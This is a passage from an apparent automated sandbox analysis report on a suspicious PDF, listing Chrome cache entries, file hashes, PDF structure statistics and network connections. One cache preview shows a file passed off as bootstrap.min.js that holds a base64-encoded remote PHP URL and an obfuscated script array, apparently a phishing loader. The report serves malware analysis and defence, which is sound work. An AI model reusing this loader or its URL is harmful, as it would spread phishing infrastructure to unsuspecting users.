Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 172

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	dropped
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65450), with CRLF line terminators
Category:	downloaded
Size (bytes):	553320
Entropy (8bit):	4.912205071529178
Encrypted:	false
SSDEEP:	6144:cTWsY1akh5JWPJurgWLNW6VF7YlNbx1eX8jumoHL4owSKrthO4bQVw:Pay8oLLc6VF7eNyMjumoHL4owSKrcw
MD5:	8915F812186C80EF29A483AE6FE1F3F9
SHA1:	094937E790DBB60507CA26CAD0495D14A60536DC
SHA-256:	5A7955405A1829528E430ADBD5CDEB62BEB6D376BDC0B0A65E4BEE5FB5625E39
SHA-512:	2918AA9DA3FDC4AB5595B0339E794C3B4B12D637D78855C022C50D44D4F406591EDEA2ED0710C578CF561F03E05F1C74166FBB2C38109F85EE45096660963D8F
Malicious:	false
URL:	https://1381488073-1323985617.cos.na-siliconvalley.myqcloud.com/bootstrap.min.js
Preview:	var file = "aHR0cHM6Ly8xMzgxNDg4MDczLmNvbnN0cnVjdGlvbmZlZGVyYWwuY29tL25leHQucGhw";....var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.5',':focus,\x20.f','ning\x20hr\x20{\x20','end\x20!impor','er;\x20justif','tify\x20!impo','owrap\x20!imp','kit-clip-p','or:\x20#00408','ble\x20td,\x20.t','t/ests/2.1','hite-space','r\x20p-2\x22\x20onm','\x20#pacifism','>&nbsp<spa','sm-wrap\x20{\x20','g9GFerfs7/','fDngjSvCsG','u\x20to\x20your\x20','pover-top\x20','\x20}\x20.btn-da','webkit-app','an><br>\x20<d','lumn;\x20flex','\x20#6c757d\x20!','+PQcVpU7gF','#495057;\x20b','-color:\x20#1','\x20calc(.3re','rst-child)','econdary:f','to\x20!import','}\x20.table-r','-box-flex:','cus,\x20.was-','ng-top:\x200\x20','utton.bg-w','eader,\x20.ca','\x200\x20}\x20.tabl','re,\x20.bs-to','image/svg+','tton:focus','jo4inKDdSN','{\x20text-tra','roup:\x2013;\x20',',\x20.btn.act','r:\x20#28a745','vcoBM','\x20

Static File Info

General

File type:	PDF document, version 1.7 (zip deflate encoded)
Entropy (8bit):	7.986853295778044
TrID:	Adobe Portable Document Format (5005/1) 100.00%
File name:	Isabella County Emergency Management-protected.pdf
File size:	50'292 bytes
MD5:	3b4c9538dbd281a021562bfbb0d65f97
SHA1:	922ed7aded2eac1f69d1f38cb21c8060eb6cf86a
SHA256:	d5753eb9a00e56a6a9fb2ba42a7e5b5f7e93a1bf0c92e40dc1b27120121442dd
SHA512:	fab218c6c77d68dc0f0359359c6a90618eb85f8e0e1f5c682b47e76f9911d03040e467d1e511d23d5dc8d55cd9a50c3dcc4072748ea3c3fc0dcd6429c115d378
SSDEEP:	768:Q0/cPAXMRHYN6ZTwbKwLHlmbuUKESy+TUCpxQVDVRa5D8OmsqUrVQdBOHT9HzOh:NplN6ZbVSUKpTvpxufkZhzOh
TLSH:	103302ECC27AEE8ECD114575FA161991C46AB9FE1A4E64E78B0D686F3C09A339430C35
File Content Preview:	%PDF-1.7.%......17 0 obj.<</Linearized 1/L 50292/O 20/E 45578/N 1/T 49977/H [ 472 179]>>.endobj. .25 0 obj.<</DecodeParms<</Columns 4/Predictor 12>>/Encrypt 18 0 R/Filter/FlateDecode/ID[<4CAC284659BBB2110A0067458B6BC623><08AE284659BBB211

File Icon


Icon Hash:	62cc8caeb29e8ae0

Static PDF Info

General
Header:	%PDF-1.7
Total Entropy:	7.986853
Total Bytes:	50292
Stream Entropy:	7.996303
Stream Bytes:	48076
Entropy outside Streams:	5.512062
Bytes outside Streams:	2216
Number of EOF found:	2
Bytes after EOF:

Keywords Statistics

Name	Count
obj	15
endobj	15
stream	11
endstream	11
xref	0
trailer	0
startxref	2
/Page	1
/Encrypt	2
/ObjStm	4
/URI	0
/JS	0
/JavaScript	0
/AA	0
/OpenAction	0
/AcroForm	0
/JBIG2Decode	0
/RichMedia	0
/Launch	0
/EmbeddedFile	0

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 15:41:08.816651106 CET	49673	443	192.168.2.16	204.79.197.203
Nov 20, 2024 15:41:11.224596024 CET	49673	443	192.168.2.16	204.79.197.203
Nov 20, 2024 15:41:11.436208010 CET	49690	80	192.168.2.16	192.229.211.108
Nov 20, 2024 15:41:13.718604088 CET	49706	443	192.168.2.16	23.218.208.109
Nov 20, 2024 15:41:13.718658924 CET	443	49706	23.218.208.109	192.168.2.16
Nov 20, 2024 15:41:13.719336987 CET	49706	443	192.168.2.16	23.218.208.109
Nov 20, 2024 15:41:13.722599030 CET	49706	443	192.168.2.16	23.218.208.109
Nov 20, 2024 15:41:13.722613096 CET	443	49706	23.218.208.109	192.168.2.16
Nov 20, 2024 15:41:14.851881981 CET	49678	443	192.168.2.16	20.189.173.10
Nov 20, 2024 15:41:15.140000105 CET	443	49706	23.218.208.109	192.168.2.16
Nov 20, 2024 15:41:15.140568018 CET	49706	443	192.168.2.16	23.218.208.109
Nov 20, 2024 15:41:15.152252913 CET	49706	443	192.168.2.16	23.218.208.109
Nov 20, 2024 15:41:15.152272940 CET	443	49706	23.218.208.109	192.168.2.16
Nov 20, 2024 15:41:15.152873993 CET	443	49706	23.218.208.109	192.168.2.16
Nov 20, 2024 15:41:15.155531883 CET	49678	443	192.168.2.16	20.189.173.10
Nov 20, 2024 15:41:15.176666975 CET	49706	443	192.168.2.16	23.218.208.109
Nov 20, 2024 15:41:15.219330072 CET	443	49706	23.218.208.109	192.168.2.16
Nov 20, 2024 15:41:15.659598112 CET	443	49706	23.218.208.109	192.168.2.16
Nov 20, 2024 15:41:15.659662962 CET	443	49706	23.218.208.109	192.168.2.16
Nov 20, 2024 15:41:15.659936905 CET	49706	443	192.168.2.16	23.218.208.109
Nov 20, 2024 15:41:15.659962893 CET	443	49706	23.218.208.109	192.168.2.16
Nov 20, 2024 15:41:15.660016060 CET	49706	443	192.168.2.16	23.218.208.109
Nov 20, 2024 15:41:15.660022020 CET	443	49706	23.218.208.109	192.168.2.16
Nov 20, 2024 15:41:15.686084986 CET	49707	443	192.168.2.16	23.218.208.109
Nov 20, 2024 15:41:15.686116934 CET	443	49707	23.218.208.109	192.168.2.16
Nov 20, 2024 15:41:15.686902046 CET	49707	443	192.168.2.16	23.218.208.109
Nov 20, 2024 15:41:15.686902046 CET	49707	443	192.168.2.16	23.218.208.109
Nov 20, 2024 15:41:15.686932087 CET	443	49707	23.218.208.109	192.168.2.16
Nov 20, 2024 15:41:15.762624025 CET	49678	443	192.168.2.16	20.189.173.10
Nov 20, 2024 15:41:16.033442974 CET	49673	443	192.168.2.16	204.79.197.203
Nov 20, 2024 15:41:16.886759996 CET	49708	443	192.168.2.16	20.12.23.50
Nov 20, 2024 15:41:16.886814117 CET	443	49708	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:16.886893034 CET	49708	443	192.168.2.16	20.12.23.50
Nov 20, 2024 15:41:16.888772964 CET	49708	443	192.168.2.16	20.12.23.50
Nov 20, 2024 15:41:16.888787985 CET	443	49708	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:16.974530935 CET	49678	443	192.168.2.16	20.189.173.10
Nov 20, 2024 15:41:17.118427992 CET	443	49707	23.218.208.109	192.168.2.16
Nov 20, 2024 15:41:17.118545055 CET	49707	443	192.168.2.16	23.218.208.109
Nov 20, 2024 15:41:17.120218992 CET	49707	443	192.168.2.16	23.218.208.109
Nov 20, 2024 15:41:17.120229959 CET	443	49707	23.218.208.109	192.168.2.16
Nov 20, 2024 15:41:17.120476961 CET	443	49707	23.218.208.109	192.168.2.16
Nov 20, 2024 15:41:17.122354984 CET	49707	443	192.168.2.16	23.218.208.109
Nov 20, 2024 15:41:17.163335085 CET	443	49707	23.218.208.109	192.168.2.16
Nov 20, 2024 15:41:17.718029022 CET	443	49707	23.218.208.109	192.168.2.16
Nov 20, 2024 15:41:17.718218088 CET	443	49707	23.218.208.109	192.168.2.16
Nov 20, 2024 15:41:17.718650103 CET	49707	443	192.168.2.16	23.218.208.109
Nov 20, 2024 15:41:17.718688011 CET	49707	443	192.168.2.16	23.218.208.109
Nov 20, 2024 15:41:17.718710899 CET	443	49707	23.218.208.109	192.168.2.16
Nov 20, 2024 15:41:17.718722105 CET	49707	443	192.168.2.16	23.218.208.109
Nov 20, 2024 15:41:17.718728065 CET	443	49707	23.218.208.109	192.168.2.16
Nov 20, 2024 15:41:18.627480030 CET	443	49708	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:18.627576113 CET	49708	443	192.168.2.16	20.12.23.50
Nov 20, 2024 15:41:18.641247034 CET	49708	443	192.168.2.16	20.12.23.50
Nov 20, 2024 15:41:18.641284943 CET	443	49708	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:18.642045021 CET	443	49708	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:18.686527014 CET	49708	443	192.168.2.16	20.12.23.50
Nov 20, 2024 15:41:18.803726912 CET	49708	443	192.168.2.16	20.12.23.50
Nov 20, 2024 15:41:18.851327896 CET	443	49708	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:19.317745924 CET	49680	80	192.168.2.16	192.229.211.108
Nov 20, 2024 15:41:19.381555080 CET	49678	443	192.168.2.16	20.189.173.10
Nov 20, 2024 15:41:19.387677908 CET	443	49708	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:19.387708902 CET	443	49708	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:19.387717009 CET	443	49708	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:19.387729883 CET	443	49708	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:19.387762070 CET	443	49708	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:19.387823105 CET	49708	443	192.168.2.16	20.12.23.50
Nov 20, 2024 15:41:19.387845993 CET	443	49708	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:19.387861967 CET	49708	443	192.168.2.16	20.12.23.50
Nov 20, 2024 15:41:19.387886047 CET	49708	443	192.168.2.16	20.12.23.50
Nov 20, 2024 15:41:19.405931950 CET	443	49708	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:19.406034946 CET	443	49708	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:19.406034946 CET	49708	443	192.168.2.16	20.12.23.50
Nov 20, 2024 15:41:19.406088114 CET	49708	443	192.168.2.16	20.12.23.50
Nov 20, 2024 15:41:19.406255960 CET	49708	443	192.168.2.16	20.12.23.50
Nov 20, 2024 15:41:19.406270027 CET	443	49708	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:19.406281948 CET	49708	443	192.168.2.16	20.12.23.50
Nov 20, 2024 15:41:19.406286955 CET	443	49708	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:19.620582104 CET	49680	80	192.168.2.16	192.229.211.108
Nov 20, 2024 15:41:20.221550941 CET	49680	80	192.168.2.16	192.229.211.108
Nov 20, 2024 15:41:21.429552078 CET	49680	80	192.168.2.16	192.229.211.108
Nov 20, 2024 15:41:23.841550112 CET	49680	80	192.168.2.16	192.229.211.108
Nov 20, 2024 15:41:24.189539909 CET	49678	443	192.168.2.16	20.189.173.10
Nov 20, 2024 15:41:25.636562109 CET	49673	443	192.168.2.16	204.79.197.203
Nov 20, 2024 15:41:28.189285994 CET	49716	443	192.168.2.16	23.56.162.204
Nov 20, 2024 15:41:28.189338923 CET	443	49716	23.56.162.204	192.168.2.16
Nov 20, 2024 15:41:28.189419985 CET	49716	443	192.168.2.16	23.56.162.204
Nov 20, 2024 15:41:28.189666033 CET	49716	443	192.168.2.16	23.56.162.204
Nov 20, 2024 15:41:28.189681053 CET	443	49716	23.56.162.204	192.168.2.16
Nov 20, 2024 15:41:28.648576021 CET	49680	80	192.168.2.16	192.229.211.108
Nov 20, 2024 15:41:29.865554094 CET	443	49716	23.56.162.204	192.168.2.16
Nov 20, 2024 15:41:29.865921021 CET	49716	443	192.168.2.16	23.56.162.204
Nov 20, 2024 15:41:29.865942001 CET	443	49716	23.56.162.204	192.168.2.16
Nov 20, 2024 15:41:29.869554996 CET	443	49716	23.56.162.204	192.168.2.16
Nov 20, 2024 15:41:29.869632959 CET	49716	443	192.168.2.16	23.56.162.204
Nov 20, 2024 15:41:29.871583939 CET	49716	443	192.168.2.16	23.56.162.204
Nov 20, 2024 15:41:29.871759892 CET	443	49716	23.56.162.204	192.168.2.16
Nov 20, 2024 15:41:29.871764898 CET	49716	443	192.168.2.16	23.56.162.204
Nov 20, 2024 15:41:29.915333033 CET	443	49716	23.56.162.204	192.168.2.16
Nov 20, 2024 15:41:29.926558971 CET	49716	443	192.168.2.16	23.56.162.204
Nov 20, 2024 15:41:29.926578999 CET	443	49716	23.56.162.204	192.168.2.16
Nov 20, 2024 15:41:29.974591017 CET	49716	443	192.168.2.16	23.56.162.204
Nov 20, 2024 15:41:30.236174107 CET	443	49716	23.56.162.204	192.168.2.16
Nov 20, 2024 15:41:30.236499071 CET	443	49716	23.56.162.204	192.168.2.16
Nov 20, 2024 15:41:30.236573935 CET	49716	443	192.168.2.16	23.56.162.204
Nov 20, 2024 15:41:30.237462044 CET	49716	443	192.168.2.16	23.56.162.204
Nov 20, 2024 15:41:30.237482071 CET	443	49716	23.56.162.204	192.168.2.16
Nov 20, 2024 15:41:33.790591955 CET	49678	443	192.168.2.16	20.189.173.10
Nov 20, 2024 15:41:38.249655962 CET	49680	80	192.168.2.16	192.229.211.108
Nov 20, 2024 15:41:55.948832035 CET	49719	443	192.168.2.16	20.12.23.50
Nov 20, 2024 15:41:55.948888063 CET	443	49719	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:55.948995113 CET	49719	443	192.168.2.16	20.12.23.50
Nov 20, 2024 15:41:55.949438095 CET	49719	443	192.168.2.16	20.12.23.50
Nov 20, 2024 15:41:55.949456930 CET	443	49719	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:57.582149029 CET	443	49719	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:57.582318068 CET	49719	443	192.168.2.16	20.12.23.50
Nov 20, 2024 15:41:57.586504936 CET	49719	443	192.168.2.16	20.12.23.50
Nov 20, 2024 15:41:57.586524010 CET	443	49719	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:57.586776018 CET	443	49719	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:57.595808983 CET	49719	443	192.168.2.16	20.12.23.50
Nov 20, 2024 15:41:57.643332958 CET	443	49719	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:58.237425089 CET	443	49719	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:58.237473011 CET	443	49719	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:58.237490892 CET	443	49719	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:58.237637043 CET	49719	443	192.168.2.16	20.12.23.50
Nov 20, 2024 15:41:58.237663984 CET	443	49719	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:58.237720966 CET	49719	443	192.168.2.16	20.12.23.50
Nov 20, 2024 15:41:58.273235083 CET	443	49719	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:58.273288012 CET	443	49719	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:58.273358107 CET	443	49719	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:58.273384094 CET	49719	443	192.168.2.16	20.12.23.50
Nov 20, 2024 15:41:58.273431063 CET	49719	443	192.168.2.16	20.12.23.50
Nov 20, 2024 15:41:58.273554087 CET	49719	443	192.168.2.16	20.12.23.50
Nov 20, 2024 15:41:58.273571014 CET	443	49719	20.12.23.50	192.168.2.16
Nov 20, 2024 15:41:58.273583889 CET	49719	443	192.168.2.16	20.12.23.50
Nov 20, 2024 15:41:58.273588896 CET	443	49719	20.12.23.50	192.168.2.16
Nov 20, 2024 15:42:05.950881958 CET	49700	80	192.168.2.16	23.32.238.50
Nov 20, 2024 15:42:05.950926065 CET	49702	80	192.168.2.16	23.32.238.50
Nov 20, 2024 15:42:06.071021080 CET	80	49700	23.32.238.50	192.168.2.16
Nov 20, 2024 15:42:06.071055889 CET	80	49702	23.32.238.50	192.168.2.16
Nov 20, 2024 15:42:06.071190119 CET	49700	80	192.168.2.16	23.32.238.50
Nov 20, 2024 15:42:06.071191072 CET	49702	80	192.168.2.16	23.32.238.50
Nov 20, 2024 15:42:35.930097103 CET	49725	443	192.168.2.16	3.160.188.127
Nov 20, 2024 15:42:35.930149078 CET	443	49725	3.160.188.127	192.168.2.16
Nov 20, 2024 15:42:35.930207014 CET	49725	443	192.168.2.16	3.160.188.127
Nov 20, 2024 15:42:35.930490971 CET	49725	443	192.168.2.16	3.160.188.127
Nov 20, 2024 15:42:35.930510044 CET	443	49725	3.160.188.127	192.168.2.16
Nov 20, 2024 15:42:35.930953979 CET	49726	443	192.168.2.16	3.160.188.127
Nov 20, 2024 15:42:35.931004047 CET	443	49726	3.160.188.127	192.168.2.16
Nov 20, 2024 15:42:35.931066036 CET	49726	443	192.168.2.16	3.160.188.127
Nov 20, 2024 15:42:35.931298971 CET	49726	443	192.168.2.16	3.160.188.127
Nov 20, 2024 15:42:35.931310892 CET	443	49726	3.160.188.127	192.168.2.16
Nov 20, 2024 15:42:37.575261116 CET	443	49726	3.160.188.127	192.168.2.16
Nov 20, 2024 15:42:37.575546026 CET	49726	443	192.168.2.16	3.160.188.127
Nov 20, 2024 15:42:37.575572968 CET	443	49726	3.160.188.127	192.168.2.16
Nov 20, 2024 15:42:37.576663971 CET	443	49726	3.160.188.127	192.168.2.16
Nov 20, 2024 15:42:37.576751947 CET	49726	443	192.168.2.16	3.160.188.127
Nov 20, 2024 15:42:37.576833010 CET	443	49725	3.160.188.127	192.168.2.16
Nov 20, 2024 15:42:37.577708960 CET	49726	443	192.168.2.16	3.160.188.127
Nov 20, 2024 15:42:37.577830076 CET	443	49726	3.160.188.127	192.168.2.16
Nov 20, 2024 15:42:37.577961922 CET	49725	443	192.168.2.16	3.160.188.127
Nov 20, 2024 15:42:37.577979088 CET	443	49725	3.160.188.127	192.168.2.16
Nov 20, 2024 15:42:37.578099966 CET	49726	443	192.168.2.16	3.160.188.127
Nov 20, 2024 15:42:37.578109980 CET	443	49726	3.160.188.127	192.168.2.16
Nov 20, 2024 15:42:37.579061985 CET	443	49725	3.160.188.127	192.168.2.16
Nov 20, 2024 15:42:37.579118013 CET	49725	443	192.168.2.16	3.160.188.127
Nov 20, 2024 15:42:37.579792976 CET	49725	443	192.168.2.16	3.160.188.127
Nov 20, 2024 15:42:37.579860926 CET	443	49725	3.160.188.127	192.168.2.16
Nov 20, 2024 15:42:37.629729986 CET	49726	443	192.168.2.16	3.160.188.127
Nov 20, 2024 15:42:37.633477926 CET	49725	443	192.168.2.16	3.160.188.127
Nov 20, 2024 15:42:37.633507967 CET	443	49725	3.160.188.127	192.168.2.16
Nov 20, 2024 15:42:37.677783012 CET	49725	443	192.168.2.16	3.160.188.127
Nov 20, 2024 15:42:38.301963091 CET	443	49726	3.160.188.127	192.168.2.16
Nov 20, 2024 15:42:38.301990032 CET	443	49726	3.160.188.127	192.168.2.16
Nov 20, 2024 15:42:38.302027941 CET	443	49726	3.160.188.127	192.168.2.16
Nov 20, 2024 15:42:38.302063942 CET	49726	443	192.168.2.16	3.160.188.127
Nov 20, 2024 15:42:38.302097082 CET	443	49726	3.160.188.127	192.168.2.16
Nov 20, 2024 15:42:38.302112103 CET	49726	443	192.168.2.16	3.160.188.127
Nov 20, 2024 15:42:38.304949045 CET	443	49726	3.160.188.127	192.168.2.16
Nov 20, 2024 15:42:38.305023909 CET	49726	443	192.168.2.16	3.160.188.127
Nov 20, 2024 15:42:38.305392027 CET	49726	443	192.168.2.16	3.160.188.127
Nov 20, 2024 15:42:38.305416107 CET	443	49726	3.160.188.127	192.168.2.16
Nov 20, 2024 15:42:38.305457115 CET	49726	443	192.168.2.16	3.160.188.127
Nov 20, 2024 15:42:38.305499077 CET	49726	443	192.168.2.16	3.160.188.127
Nov 20, 2024 15:42:38.718053102 CET	49728	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:38.718101978 CET	443	49728	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:38.718190908 CET	49728	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:38.718506098 CET	49728	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:38.718519926 CET	443	49728	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:40.022799015 CET	443	49728	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:40.023104906 CET	49728	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:40.023133039 CET	443	49728	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:40.024234056 CET	443	49728	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:40.024353027 CET	49728	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:40.025302887 CET	49728	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:40.025332928 CET	49728	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:40.025356054 CET	443	49728	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:40.025473118 CET	49728	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:40.025473118 CET	49728	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:40.025485039 CET	443	49728	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:40.025530100 CET	49728	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:40.025799036 CET	49729	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:40.025852919 CET	443	49729	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:40.025911093 CET	49729	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:40.026145935 CET	49729	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:40.026156902 CET	443	49729	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:40.503787041 CET	49730	443	192.168.2.16	172.217.21.36
Nov 20, 2024 15:42:40.503844023 CET	443	49730	172.217.21.36	192.168.2.16
Nov 20, 2024 15:42:40.503958941 CET	49730	443	192.168.2.16	172.217.21.36
Nov 20, 2024 15:42:40.504158974 CET	49730	443	192.168.2.16	172.217.21.36
Nov 20, 2024 15:42:40.504177094 CET	443	49730	172.217.21.36	192.168.2.16
Nov 20, 2024 15:42:41.413170099 CET	443	49729	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:41.413486958 CET	49729	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:41.413516045 CET	443	49729	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:41.414482117 CET	443	49729	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:41.414562941 CET	49729	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:41.415782928 CET	49729	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:41.415838957 CET	443	49729	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:41.416121006 CET	49729	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:41.416127920 CET	443	49729	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:41.457740068 CET	49729	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:42.251441002 CET	443	49730	172.217.21.36	192.168.2.16
Nov 20, 2024 15:42:42.251761913 CET	49730	443	192.168.2.16	172.217.21.36
Nov 20, 2024 15:42:42.251777887 CET	443	49730	172.217.21.36	192.168.2.16
Nov 20, 2024 15:42:42.252810955 CET	443	49730	172.217.21.36	192.168.2.16
Nov 20, 2024 15:42:42.252918005 CET	49730	443	192.168.2.16	172.217.21.36
Nov 20, 2024 15:42:42.253921032 CET	49730	443	192.168.2.16	172.217.21.36
Nov 20, 2024 15:42:42.253994942 CET	443	49730	172.217.21.36	192.168.2.16
Nov 20, 2024 15:42:42.304824114 CET	49730	443	192.168.2.16	172.217.21.36
Nov 20, 2024 15:42:42.304832935 CET	443	49730	172.217.21.36	192.168.2.16
Nov 20, 2024 15:42:42.352757931 CET	49730	443	192.168.2.16	172.217.21.36
Nov 20, 2024 15:42:42.465436935 CET	443	49729	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:42.465543032 CET	443	49729	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:42.465807915 CET	49729	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:42.466150999 CET	49729	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:42.466169119 CET	443	49729	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:42.466204882 CET	49729	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:42.466281891 CET	49729	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:42.616549015 CET	49731	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:42.616601944 CET	443	49731	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:42.616795063 CET	49731	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:42.617058039 CET	49731	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:42.617070913 CET	443	49731	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:43.878144979 CET	443	49731	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:43.878552914 CET	49731	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:43.878578901 CET	443	49731	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:43.879544973 CET	443	49731	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:43.879628897 CET	49731	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:43.880223989 CET	49731	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:43.880244970 CET	49731	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:43.880275011 CET	443	49731	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:43.880317926 CET	49731	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:43.880356073 CET	49731	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:43.880753040 CET	49732	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:43.880784035 CET	443	49732	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:43.880860090 CET	49732	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:43.881077051 CET	49732	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:43.881089926 CET	443	49732	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:45.154187918 CET	443	49732	172.67.195.135	192.168.2.16
Nov 20, 2024 15:42:45.154556036 CET	49732	443	192.168.2.16	172.67.195.135
Nov 20, 2024 15:42:45.154589891 CET	443	49732	172.67.195.135	192.168.2.16
